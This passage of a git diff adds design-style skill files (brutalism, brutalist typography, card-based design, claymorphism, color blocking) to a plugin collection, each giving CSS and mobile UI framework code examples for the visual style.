Modifier + .fillMaxSize() + .background(Color(0xFFF2F2F7)) + .verticalScroll(rememberScrollState()) + .padding(16.dp), + verticalArrangement = Arrangement.spacedBy(16.dp) + ) { + // Full width + BentoCard(title = "Hero", modifier = Modifier.fillMaxWidth().height(180.dp)) + + // Two columns + Row(horizontalArrangement = Arrangement.spacedBy(16.dp)) { + BentoCard(title = "Stats", modifier = Modifier.weight(1f).height(180.dp)) + BentoCard(title = "Graph", modifier = Modifier.weight(1f).height(180.dp)) + } + + // Complex span: 1x2 left, two 1x1s right + Row(horizontalArrangement = Arrangement.spacedBy(16.dp)) { + BentoCard(title = "Activity", modifier = Modifier.weight(1f).height(376.dp)) + + Column( + modifier = Modifier.weight(1f), + verticalArrangement = Arrangement.spacedBy(16.dp) + ) { + BentoCard(title = "A", modifier = Modifier.fillMaxWidth().height(180.dp)) + BentoCard(title = "B", modifier = Modifier.fillMaxWidth().height(180.dp)) + } + } + } +} + +@Composable +fun BentoCard(title: String, modifier: Modifier = Modifier) { + Card( + modifier = modifier, + shape = RoundedCornerShape(24.dp), + colors = CardDefaults.cardColors(containerColor = Color.White), + elevation = CardDefaults.cardElevation(defaultElevation = 2.dp) + ) { + Text(title, fontWeight = FontWeight.Bold, modifier = Modifier.padding(24.dp)) + } +} +``` +- While `LazyVerticalGrid` exists, for highly specific irregular bento layouts, manually building rows and columns with `weight(1f)` is often much more reliable. +- Use `Arrangement.spacedBy(16.dp)` on both Columns and Rows to ensure mathematically perfect gutters. + +## Do's and Don'ts +- **DO**: Mix sizes! A bento box is boring if every cell is 1x1. Use 2x1, 1x2, and 2x2 cells to create visual interest. +- **DON'T**: Clutter the inside of a bento card. If it needs a lot of elements, break it into multiple cards. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/brutalism/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/brutalism/SKILL.md new file mode 100644 index 00000000..238df29e --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/brutalism/SKILL.md @@ -0,0 +1,270 @@ +--- +name: brutalism +description: Web and App implementation guide for Brutalism. Trigger when user wants a raw appearance, intentionally unfinished look, and rejection of standard design conventions. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Brutalism + +> "Raw materials exposed. An intentional rejection of polish, gradients, and soft shadows." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Unstyled Components**: Default browser styling for buttons, inputs, and links is celebrated. +2. **Exposed Structure**: Grid lines, tables with visible borders, and stark boundaries are used instead of whitespace to separate content. +3. **Anti-Aesthetic**: Intentional awkwardness. Elements might slightly overlap in a way that feels broken, or use system default fonts. + +## Visual DNA +- **Colors**: High contrast, often clashing. Pure `#0000FF` blue for links, `#FF0000` red for accents, on stark white or `#C0C0C0` grey backgrounds. **Industrial Chic** palette fits best. +- **Typography**: Courier New, Times New Roman, Comic Sans, or default sans-serifs. No web fonts. +- **Visuals**: Dithered images, pixelated graphics, or heavily compressed jpegs. + +## Web Implementation +- Use standard HTML tags without overriding their default appearance whenever possible. +- **CSS Example**: +```css +body { + background-color: #ffffff; + color: #000000; + font-family: monospace; +} + +/* Expose the structure */ +.brutalist-container { + border: 1px solid #000; + padding: 10px; +} + +.brutalist-section { + border-bottom: 2px dashed #000; + margin-bottom: 20px; + padding-bottom: 20px; +} + +/* Default-looking button but massive */ +.brutalist-btn { + background-color: #c0c0c0; + border: 2px outset #ffffff; + border-right-color: #000000; + border-bottom-color: #000000; + color: #000000; + font-family: sans-serif; + font-size: 24px; + padding: 10px 20px; + cursor: pointer; +} + +.brutalist-btn:active { + border-style: inset; +} + +/* System link blue */ +a { + color: #0000FF; + text-decoration: underline; +} +``` + +## App Implementation + +### SwiftUI +```swift +struct BrutalistView: View { + var body: some View { + VStack(alignment: .leading, spacing: 0) { + Text("BRUTALISM") + .font(.custom("Courier New", size: 32)) + .foregroundColor(.black) + .padding(10) + .border(Color.black, width: 2) + + Divider().background(Color.black).padding(.vertical, 20) + + Button(action: {}) { + Text("CLICK_HERE") + .font(.custom("Courier New", size: 24)) + .foregroundColor(.blue) + .underline() + } + .padding(10) + + // Raw structural container + VStack(alignment: .leading) { + Text("System Status: RAW").font(.custom("Courier New", size: 14)) + } + .padding() + .border(Color.black, width: 1) + } + .padding() + .frame(maxWidth: .infinity, maxHeight: .infinity, alignment: .topLeading) + .background(Color.white) + } +} +``` +- Avoid all native `ButtonStyle` components. Use `Text` with `.underline()` mapped to system blue. +- Use `.border(Color.black, width: 1)` instead of backgrounds or shadows. +- Force monospace fonts like Courier New or Menlo. + +### Flutter +```dart +class BrutalistScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + // DO NOT use MaterialApp theme or Scaffold if possible, + // or strip them down completely. + return Scaffold( + backgroundColor: Colors.white, + body: SafeArea( + child: Padding( + padding: const EdgeInsets.all(16.0), + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + children: [ + Container( + padding: const EdgeInsets.all(8), + decoration: BoxDecoration( + border: Border.all(color: Colors.black, width: 2), + ), + child: const Text( + 'BRUTALISM', + style: TextStyle( + fontFamily: 'Courier', + fontSize: 32, + color: Colors.black, + ), + ), + ), + const Padding( + padding: EdgeInsets.symmetric(vertical: 20), + child: Divider(color: Colors.black, thickness: 2), + ), + GestureDetector( + onTap: () {}, + child: const Text( + 'CLICK_HERE', + style: TextStyle( + fontFamily: 'Courier', + fontSize: 24, + color: Colors.blue, + decoration: TextDecoration.underline, + ), + ), + ), + ], + ), + ), + ), + ); + } +} +``` +- Avoid `ElevatedButton`, `Card`, or `AppBar`. +- Build UI out of raw `Container`s with `Border.all(color: Colors.black)` and `Text` widgets. +- Use `TextDecoration.underline` to indicate interactivity. + +### React Native +```jsx +const BrutalistScreen = () => { + return ( + + + + BRUTALISM + + + + + + + + CLICK_HERE + + + + + + System Status: RAW + + + + ); +}; +``` +- Strip away all native feel. Do not use `react-native-elements` or `react-native-paper`. +- Set `activeOpacity={1}` on `TouchableOpacity` so there is no smooth fade — it should just click instantly. +- Use pure hex colors: `#FFFFFF`, `#000000`, `#0000FF`. + +### Jetpack Compose +```kotlin +@Composable +fun BrutalistScreen() { + Column( + modifier = Modifier + .fillMaxSize() + .background(Color.White) + .padding(16.dp) + ) { + Box( + modifier = Modifier + .border(2.dp, Color.Black) + .padding(10.dp) + ) { + BasicText( + text = "BRUTALISM", + style = TextStyle( + fontFamily = FontFamily.Monospace, + fontSize = 32.sp, + color = Color.Black + ) + ) + } + + Spacer(Modifier.height(20.dp)) + Box(modifier = Modifier.fillMaxWidth().height(2.dp).background(Color.Black)) + Spacer(Modifier.height(20.dp)) + + BasicText( + text = "CLICK_HERE", + modifier = Modifier.clickable { }, + style = TextStyle( + fontFamily = FontFamily.Monospace, + fontSize = 24.sp, + color = Color.Blue, + textDecoration = TextDecoration.Underline + ) + ) + } +} +``` +- Use `BasicText` instead of `Text` to bypass Material theme defaults. +- Build structural lines using `Box` with `.background(Color.Black)`. +- **Do not** use `Button` or `Card` or any Material composables. Raw layouts only. + +## Do's and Don'ts +- **DO**: Use harsh, high-contrast borders (1px solid black) around everything. +- **DON'T**: Use border-radius, drop shadows, or smooth transitions. If it animates, it should pop instantly (0s transition). + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/brutalist-typography/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/brutalist-typography/SKILL.md new file mode 100644 index 00000000..f7acab95 --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/brutalist-typography/SKILL.md @@ -0,0 +1,287 @@ +--- +name: brutalist-typography +description: Web and App implementation guide for Brutalist Typography. Trigger when user wants huge fonts, raw presentation, and aggressive layout decisions. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Brutalist Typography + +> "Aggressive, unpolished, and unapologetic. Text that demands attention by breaking the rules." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Rule Breaking**: Text that overlaps, ignores margins, or deliberately clips off the edge of the screen. +2. **Anti-Design**: Intentional use of system fonts or "ugly" fonts (Times New Roman, Courier) in massive sizes. +3. **Harsh Contrast**: Clashing colors or stark monochrome. + +## Visual DNA +- **Colors**: **Industrial Chic** (Black, White, Red) or aggressive neon clashing (e.g., pure blue on pure red). +- **Typography**: System default fonts (`Times New Roman`, `Arial`, `Courier New`) blown up to 150px. +- **Styling**: Marquees, blinking text, underlines that cut through descenders. + +## Web Implementation +- Break the grid. Use absolute positioning or negative margins. +- **CSS Example**: +```css +body { + background-color: #fff; + color: #000; + font-family: 'Times New Roman', serif; +} + +.brutalist-headline { + font-size: 15vw; + line-height: 0.7; + letter-spacing: -5px; + margin-left: -10px; /* Bleeds off screen intentionally */ + word-wrap: break-word; /* Let words break awkwardly */ +} + +.brutalist-highlight { + background-color: #ff0000; + color: #fff; + padding: 0 10px; +} + +.marquee-container { + border-top: 5px solid #000; + border-bottom: 5px solid #000; + overflow: hidden; + white-space: nowrap; + font-family: 'Courier New', monospace; + font-size: 2rem; + font-weight: bold; + padding: 10px 0; +} + +/* A nod to early 90s web */ +.brutalist-link { + color: #0000ee; + text-decoration: underline; + text-transform: uppercase; +} +.brutalist-link:hover { + background-color: #0000ee; + color: #fff; +} +``` + +## App Implementation + +### SwiftUI +```swift +struct BrutalistTypeView: View { + var body: some View { + ScrollView { + VStack(alignment: .leading, spacing: -20) { + // Bleeds off the edge intentionally + Text("BREAK") + .font(.custom("Times New Roman", size: 120)) + .padding(.leading, -20) + + Text("THE") + .font(.custom("Arial", size: 140)) + .fontWeight(.black) + .foregroundColor(.clear) + .overlay( + Text("THE").stroke(Color.red, lineWidth: 3) + ) + .offset(x: 40) + + Text("GRID.") + .font(.custom("Courier New", size: 100)) + .background(Color.blue) + .foregroundColor(.white) + .rotationEffect(.degrees(-5)) + .offset(y: -40) + } + .frame(maxWidth: .infinity, alignment: .leading) + .padding(.top, 50) + } + .ignoresSafeArea() // Critical for Brutalist type + .background(Color.white) + } +} +``` +- `.ignoresSafeArea()` is mandatory. Text must be allowed to clip into the notch and status bar. +- Use negative `spacing` in `VStack` or explicit negative `.offset()` to force text elements to overlap each other aggressively. +- Outline text is achieved by setting `.foregroundColor(.clear)` and overlaying a `.stroke()`. + +### Flutter +```dart +class BrutalistTypeScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + // Scaffold without SafeArea + return Scaffold( + backgroundColor: Colors.white, + body: Stack( + children: [ + Positioned( + top: -20, + left: -20, + child: const Text( + 'BREAK', + style: TextStyle( + fontFamily: 'Times New Roman', + fontSize: 150, + height: 0.8, // Negative line-spacing + color: Colors.black, + ), + ), + ), + Positioned( + top: 100, + left: 40, + child: Text( + 'THE', + style: TextStyle( + fontFamily: 'Arial', + fontSize: 140, + fontWeight: FontWeight.w900, + foreground: Paint() + ..style = PaintingStyle.stroke + ..strokeWidth = 3 + ..color = Colors.red, + ), + ), + ), + Positioned( + top: 220, + left: 10, + child: Transform.rotate( + angle: -0.1, + child: Container( + color: Colors.blue, + child: const Text( + 'GRID.', + style: TextStyle( + fontFamily: 'Courier', + fontSize: 120, + color: Colors.white, + ), + ), + ), + ), + ), + ], + ), + ); + } +} +``` +- Do not use `SafeArea`. +- Absolute positioning via `Stack` and `Positioned` is the easiest way to break the grid and force overlaps. +- Use `height: 0.8` (or less than 1.0) in `TextStyle` to smash lines of text together. + +### React Native +```jsx +const BrutalistTypeScreen = () => { + return ( + + {/* + Note: React Native text clipping can be tricky on Android. + Ensure parent views don't have overflow: 'hidden'. + */} + + BREAK + + + + THE + + + + GRID. + + + ); +}; +``` +- React Native doesn't have a native text-stroke property, so you either simulate it with text shadows or use `@shopify/react-native-skia` for true stroked text. +- Use negative `marginTop` and `marginLeft` to force the layout chaos. + +### Jetpack Compose +```kotlin +@Composable +fun BrutalistTypeScreen() { + // Use Box for absolute overlapping layouts + Box( + modifier = Modifier + .fillMaxSize() + .background(Color.White) + ) { + Text( + text = "BREAK", + fontFamily = FontFamily.Serif, // Times New Roman equivalent + fontSize = 130.sp, + color = Color.Black, + lineHeight = 100.sp, + modifier = Modifier.offset(x = (-15).dp, y = (-20).dp) + ) + + Text( + text = "THE", + fontFamily = FontFamily.SansSerif, + fontSize = 140.sp, + fontWeight = FontWeight.Black, + style = TextStyle( + drawStyle = Stroke(width = 5f) + ), + color = Color.Red, + modifier = Modifier.offset(x = 40.dp, y = 100.dp) + ) + + Text( + text = "GRID.", + fontFamily = FontFamily.Monospace, + fontSize = 100.sp, + color = Color.White, + modifier = Modifier + .offset(x = 10.dp, y = 220.dp) + .rotate(-5f) + .background(Color.Blue) + ) + } +} +``` +- A `Box` with explicit `Modifier.offset(x, y)` allows freeform overlapping placement, breaking away from standard `Column`/`Row` grids. +- Compose `TextStyle` supports `drawStyle = Stroke(width = 5f)`, making outline typography incredibly simple. + +## Do's and Don'ts +- **DO**: Mix serif and monospace fonts aggressively. +- **DON'T**: Add drop shadows, gradients, or rounded corners. The design must look raw and unstyled. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/card-based-design/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/card-based-design/SKILL.md new file mode 100644 index 00000000..79990225 --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/card-based-design/SKILL.md @@ -0,0 +1,262 @@ +--- +name: card-based-design +description: Web and App implementation guide for Card-Based Design. Trigger when user wants information cards, Pinterest-style layouts, and bite-sized content containers. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Card-Based Design + +> "Bite-sized consumption. Encapsulating discrete pieces of information into distinct visual containers." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Encapsulation**: Every card is self-contained. It has an image, a title, a short description, and usually an action (like a button or a 'like' icon). +2. **Responsive Flow**: Cards easily reflow on different screen sizes (from a 4-column grid on desktop to a single column on mobile). +3. **Clear Boundaries**: Cards must visually pop off the background. + +## Visual DNA +- **Colors**: Very flexible. The background should be slightly darker or distinct from the card color. **Sophisticated Neutral** works well for a premium feel. +- **Typography**: Clear hierarchy within the card (Header, Subheader, Body). +- **Styling**: Standard `border-radius: 8px` and a medium drop shadow. + +## Web Implementation +- CSS Grid with `auto-fit` or a Masonry layout. +- **CSS Example**: +```css +body { + background-color: #f0f2f5; /* Standard app background */ + padding: 40px; +} + +.card-grid { + display: grid; + /* Auto-responsive magic */ + grid-template-columns: repeat(auto-fill, minmax(300px, 1fr)); + gap: 24px; +} + +.card { + background: #ffffff; + border-radius: 12px; + overflow: hidden; /* Keep images inside the rounded corners */ + box-shadow: 0 4px 12px rgba(0,0,0,0.08); + transition: transform 0.2s, box-shadow 0.2s; + display: flex; + flex-direction: column; +} + +.card:hover { + transform: translateY(-4px); + box-shadow: 0 8px 24px rgba(0,0,0,0.12); +} + +.card-image { + width: 100%; + height: 200px; + object-fit: cover; + border-bottom: 1px solid #eee; +} + +.card-content { + padding: 20px; + flex-grow: 1; /* Pushes footer to the bottom */ +} + +.card-footer { + padding: 16px 20px; + border-top: 1px solid #eee; + display: flex; + justify-content: space-between; +} +``` + +## App Implementation + +### SwiftUI +```swift +struct ContentCard: View { + var body: some View { + VStack(alignment: .leading, spacing: 0) { + // Image Area + Rectangle() + .fill(Color.gray.opacity(0.2)) + .frame(height: 160) + + // Content Area + VStack(alignment: .leading, spacing: 8) { + Text("Card Title") + .font(.headline) + Text("A brief description of the content inside this discrete card container.") + .font(.subheadline) + .foregroundColor(.secondary) + .lineLimit(2) + } + .padding(16) + } + .background(Color.white) + .cornerRadius(12) + // Clean, subtle drop shadow + .shadow(color: Color.black.opacity(0.08), radius: 12, x: 0, y: 4) + } +} + +// In your view: +// LazyVGrid(columns: [GridItem(.adaptive(minimum: 160), spacing: 16)]) { ... } +``` +- `VStack` inside a background with `.cornerRadius` and `.shadow` is the standard. +- Use `LazyVGrid` with `.adaptive(minimum: 160)` to automatically create a multi-column card grid that flows perfectly on iPad or iPhone. + +### Flutter +```dart +class ContentCard extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Card( + elevation: 4, // Handles shadow natively + shadowColor: Colors.black.withOpacity(0.4), + shape: RoundedRectangleBorder(borderRadius: BorderRadius.circular(12)), + clipBehavior: Clip.antiAlias, // Critical: stops images from bleeding over corners + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + mainAxisSize: MainAxisSize.min, + children: [ + // Image Area + Container( + height: 160, + color: Colors.grey[300], + width: double.infinity, + ), + // Content Area + Padding( + padding: const EdgeInsets.all(16.0), + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + children: const [ + Text('Card Title', style: TextStyle(fontWeight: FontWeight.bold, fontSize: 18)), + SizedBox(height: 8), + Text( + 'A brief description of the content inside this discrete card container.', + style: TextStyle(color: Colors.black54), + maxLines: 2, + overflow: TextOverflow.ellipsis, + ), + ], + ), + ), + ], + ), + ); + } +} +// In your view: Use GridView.builder for the layout +``` +- The native `Card` widget does almost all the heavy lifting. +- **Critical fix**: You must set `clipBehavior: Clip.antiAlias` on the `Card`, otherwise the top corners of your images will peek outside the border radius. + +### React Native +```jsx +const ContentCard = () => { + return ( + + + + Card Title + + A brief description of the content inside this discrete card container. + + + + ); +}; + +const styles = StyleSheet.create({ + card: { + backgroundColor: '#FFF', + borderRadius: 12, + shadowColor: '#000', + shadowOffset: { width: 0, height: 4 }, + shadowOpacity: 0.08, + shadowRadius: 12, + elevation: 4, + margin: 8, + overflow: 'hidden', // Keeps image inside borders + }, + imageArea: { + height: 160, + backgroundColor: '#E0E0E0', + }, + contentArea: { + padding: 16, + }, + title: { + fontSize: 18, + fontWeight: '600', + marginBottom: 8, + }, + description: { + color: '#666', + } +}); +// In your view: +``` +- Wrap everything in a View with `borderRadius` and `overflow: 'hidden'`. +- `elevation: 4` provides the drop shadow on Android, while the `shadow*` props handle iOS. +- For a Pinterest/Masonry style (columns of different heights), you must use a third-party library like `react-native-masonry-list`, as `FlatList` cannot do varying row heights in columns. + +### Jetpack Compose +```kotlin +@Composable +fun ContentCard() { + // ElevatedCard provides the shadow and shape natively + ElevatedCard( + elevation = CardDefaults.elevatedCardElevation(defaultElevation = 4.dp), + shape = RoundedCornerShape(12.dp), + colors = CardDefaults.elevatedCardColors(containerColor = Color.White), + modifier = Modifier.fillMaxWidth().padding(8.dp) + ) { + Column { + // Image Area + Box( + modifier = Modifier + .fillMaxWidth() + .height(160.dp) + .background(Color.LightGray) + ) + + // Content Area + Column(modifier = Modifier.padding(16.dp)) { + Text( + text = "Card Title", + style = MaterialTheme.typography.titleMedium, + fontWeight = FontWeight.Bold + ) + Spacer(Modifier.height(8.dp)) + Text( + text = "A brief description of the content inside this discrete card container.", + style = MaterialTheme.typography.bodyMedium, + color = Color.Gray, + maxLines = 2, + overflow = TextOverflow.Ellipsis + ) + } + } + } +} +// In your view: LazyVerticalGrid(columns = GridCells.Adaptive(minSize = 160.dp)) { ... } +``` +- `ElevatedCard` is the perfect Material 3 component for this. It handles clipping and shadows automatically. +- Use `GridCells.Adaptive(minSize = 160.dp)` in a `LazyVerticalGrid` to achieve an auto-flowing grid identical to CSS Grid `auto-fit`. + +## Do's and Don'ts +- **DO**: Make the entire card clickable, not just the title or image. +- **DON'T**: Put too much text in a card. If the user has to scroll *within* a card, the card is too big. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/claymorphism/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/claymorphism/SKILL.md new file mode 100644 index 00000000..baf4a9cc --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/claymorphism/SKILL.md @@ -0,0 +1,287 @@ +--- +name: claymorphism +description: Web and App implementation guide for Claymorphism. Trigger when user wants soft 3D elements, rounded shapes, and a playful, tactile appearance. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Claymorphism + +> "Like interacting with a pristine, digital claymation set. Soft, bubbly, and incredibly approachable." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Fluffy 3D Volume**: Elements look like inflated balloons or soft clay blocks. +2. **Double Inner Shadows**: The signature of claymorphism is an inset light shadow on the top-left and an inset dark shadow on the bottom-right, giving 3D volume to a solid shape. +3. **Continuous Curves**: Maximum border-radius. No sharp edges exist in this universe. + +## Visual DNA +- **Colors**: Thrives on pastels and bright, friendly hues. **Desert Mirage**, **Earth-Grounded Elegance**, or custom pastel palettes work best. +- **Typography**: Playful, thick, rounded fonts (e.g., `Sniglet`, `Fredoka One`, `Nunito`). +- **Shapes**: 'Squicles' (squares with heavily rounded, continuous corners) and perfect circles. + +## Web Implementation +- Distinct from Neumorphism: Claymorphism elements detach from the background (they have drop shadows) and use inner shadows to create volume, often using colors that contrast with the background. +- **CSS Example**: +```css +.clay-card { + background-color: #F8B4A6; /* Soft coral */ + border-radius: 32px; + padding: 40px; + + /* + 1. Outer drop shadow (detaches from background) + 2. Inner top-left highlight (volume) + 3. Inner bottom-right shadow (volume) + */ + box-shadow: + 8px 8px 24px rgba(0, 0, 0, 0.15), /* Outer */ + inset -8px -8px 16px rgba(0, 0, 0, 0.1), /* Inner dark */ + inset 8px 8px 16px rgba(255, 255, 255, 0.4); /* Inner light */ + + transition: transform 0.2s cubic-bezier(0.34, 1.56, 0.64, 1); /* Bouncy */ +} + +.clay-card:hover { + transform: translateY(-5px) scale(1.02); +} +``` + +## App Implementation + +### SwiftUI +```swift +struct ClayCard: View { + @State private var isPressed = false + + var body: some View { + VStack(spacing: 16) { + Image(systemName: "cloud.sun.fill") + .font(.system(size: 48)) + .foregroundColor(.white) + Text("Claymorphic Card") + .font(.system(size: 20, weight: .bold, design: .rounded)) + .foregroundColor(.white) + } + .padding(40) + .background(Color(red: 0.97, green: 0.71, blue: 0.65)) // Soft coral + .cornerRadius(32) + // Outer shadow — detaches from background + .shadow(color: .black.opacity(0.15), radius: 12, x: 8, y: 8) + // Inner highlight (top-left) — faked with overlay + .overlay( + RoundedRectangle(cornerRadius: 32) + .stroke( + LinearGradient( + colors: [.white.opacity(0.5), .clear, .black.opacity(0.1)], + startPoint: .topLeading, + endPoint: .bottomTrailing + ), + lineWidth: 3 + ) + ) + // Bouncy spring animation on tap + .scaleEffect(isPressed ? 0.95 : 1.0) + .animation(.interpolatingSpring(stiffness: 300, damping: 10), value: isPressed) + .onTapGesture { } + .simultaneousGesture( + DragGesture(minimumDistance: 0) + .onChanged { _ in isPressed = true } + .onEnded { _ in isPressed = false } + ) + } +} +``` +- The "clay" volume comes from a gradient stroke overlay: white on top-left, dark on bottom-right. +- Use `.interpolatingSpring(stiffness: 300, damping: 10)` for the bouncy feel — critical for clay aesthetics. +- Background color should be pastel/bright but NOT the same as the parent (unlike neumorphism). + +### Flutter +```dart +class ClayCard extends StatefulWidget { + @override + State createState() => _ClayCardState(); +} + +class _ClayCardState extends State with SingleTickerProviderStateMixin { + double _scale = 1.0; + + @override + Widget build(BuildContext context) { + return GestureDetector( + onTapDown: (_) => setState(() => _scale = 0.95), + onTapUp: (_) => setState(() => _scale = 1.0), + onTapCancel: () => setState(() => _scale = 1.0), + child: AnimatedScale( + scale: _scale, + duration: const Duration(milliseconds: 200), + curve: Curves.elasticOut, // Bouncy clay feel + child: Container( + padding: const EdgeInsets.all(40), + decoration: BoxDecoration( + color: const Color(0xFFF8B4A6), // Soft coral + borderRadius: BorderRadius.circular(32), + boxShadow: [ + // Outer shadow + BoxShadow( + color: Colors.black.withOpacity(0.15), + offset: const Offset(8, 8), + blurRadius: 24, + ), + ], + // Gradient border for the clay volume effect + border: GradientBorder( + gradient: LinearGradient( + colors: [ + Colors.white.withOpacity(0.5), + Colors.transparent, + Colors.black.withOpacity(0.1), + ], + begin: Alignment.topLeft, + end: Alignment.bottomRight, + ), + width: 3, + ), + ), + child: Column( + mainAxisSize: MainAxisSize.min, + children: [ + const Icon(Icons.wb_sunny, size: 48, color: Colors.white), + const SizedBox(height: 16), + const Text('Claymorphic Card', + style: TextStyle(fontSize: 20, fontWeight: FontWeight.bold, + color: Colors.white)), + ], + ), + ), + ), + ); + } +} +``` +- Use `Curves.elasticOut` or `Curves.bounceOut` for the spring animation — essential for the clay feeling. +- Gradient borders require a custom `ShapeDecoration` or a `Stack` with a gradient container behind the main container. +- Alternative for inner shadow: use `flutter_inset_box_shadow` package with light top-left and dark bottom-right insets. + +### React Native +```jsx +const ClayCard = () => { + const scale = useRef(new Animated.Value(1)).current; + + const pressIn = () => { + Animated.spring(scale, { + toValue: 0.95, + friction: 3, // Low friction = bouncy + tension: 100, + useNativeDriver: true, + }).start(); + }; + + const pressOut = () => { + Animated.spring(scale, { + toValue: 1, + friction: 3, + tension: 100, + useNativeDriver: true, + }).start(); + }; + + return ( + + + ☀️ + + Claymorphic Card + + + + ); +}; +``` +- Use `Animated.spring` with low `friction` (3-5) for the signature bouncy clay behavior. +- Gradient borders aren't possible natively — use a solid white-tinted border as a simplified approximation, or wrap in an `expo-linear-gradient` View. + +### Jetpack Compose +```kotlin +@Composable +fun ClayCard() { + var isPressed by remember { mutableStateOf(false) } + val scale by animateFloatAsState( + targetValue = if (isPressed) 0.95f else 1f, + animationSpec = spring(dampingRatio = 0.3f, stiffness = 300f), + ) + + Box( + modifier = Modifier + .graphicsLayer { scaleX = scale; scaleY = scale } + .shadow(8.dp, RoundedCornerShape(32.dp)) + .clip(RoundedCornerShape(32.dp)) + .background(Color(0xFFF8B4A6)) + .border( + 3.dp, + Brush.linearGradient( + colors = listOf( + Color.White.copy(alpha = 0.5f), + Color.Transparent, + Color.Black.copy(alpha = 0.1f), + ), + start = Offset.Zero, + end = Offset.Infinite, + ), + RoundedCornerShape(32.dp), + ) + .padding(40.dp) + .pointerInput(Unit) { + detectTapGestures( + onPress = { + isPressed = true + tryAwaitRelease() + isPressed = false + }, + ) + }, + contentAlignment = Alignment.Center, + ) { + Column(horizontalAlignment = Alignment.CenterHorizontally) { + Icon(Icons.Default.WbSunny, tint = Color.White, + modifier = Modifier.size(48.dp)) + Spacer(Modifier.height(16.dp)) + Text("Claymorphic Card", + fontSize = 20.sp, fontWeight = FontWeight.Bold, color = Color.White) + } + } +} +``` +- Use `spring(dampingRatio = 0.3f)` — low damping = bouncy. This is the core of the clay feeling. +- Gradient borders work natively in Compose via `Modifier.border(width, Brush.linearGradient(...), shape)`. +- Use `Modifier.clip()` before `.background()` to ensure the rounded corners clip content properly. + +## Do's and Don'ts +- **DO**: Use highly bouncy, spring-based animations to reinforce the soft, physical nature of the "clay." +- **DON'T**: Use thin, delicate fonts. They will get lost against the heavy, voluminous UI elements. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/color-blocking/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/color-blocking/SKILL.md new file mode 100644 index 00000000..98971b5a --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/color-blocking/SKILL.md @@ -0,0 +1,278 @@ +--- +name: color-blocking +description: Web and App implementation guide for Color Blocking. Trigger when user wants large color sections, striking layout divisions, and Mondrian-style grids. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Color Blocking + +> "The grid made visible. Large, solid swaths of contrasting color defining the layout." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Geometric Division**: The viewport is divided into large rectangles or squares, each filled with a solid, distinct color. +2. **No Margins Between Blocks**: Blocks touch each other directly, often separated only by a stark, 1px or 2px black line (or no line at all, letting the colors clash). +3. **Typography as Texture**: Text is placed precisely within these blocks to balance the visual weight of the colors. + +## Visual DNA +- **Colors**: Highly contrasting, bold pairings. Use 3 to 4 strong colors from palettes like **Industrial Chic** (Red, Black, Grey, White) or custom bold pairings (Yellow, Navy, Pink). +- **Typography**: Very clean, bold sans-serifs that can hold their own against massive blocks of color. +- **Borders**: Often uses thick black borders (`2px solid #000`) between blocks to emphasize the grid, reminiscent of Mondrian paintings. + +## Web Implementation +- CSS Grid is the only way to effectively build this. +- **CSS Example**: +```css +body { + margin: 0; + font-family: 'Space Grotesk', sans-serif; + color: #000; +} + +.color-block-grid { + display: grid; + grid-template-columns: 1fr 2fr 1fr; + grid-template-rows: 60vh 40vh; + /* Thick black lines between blocks */ + gap: 4px; + background-color: #000; + border: 4px solid #000; + min-height: 100vh; +} + +.block { + padding: 40px; + display: flex; + flex-direction: column; + justify-content: space-between; +} + 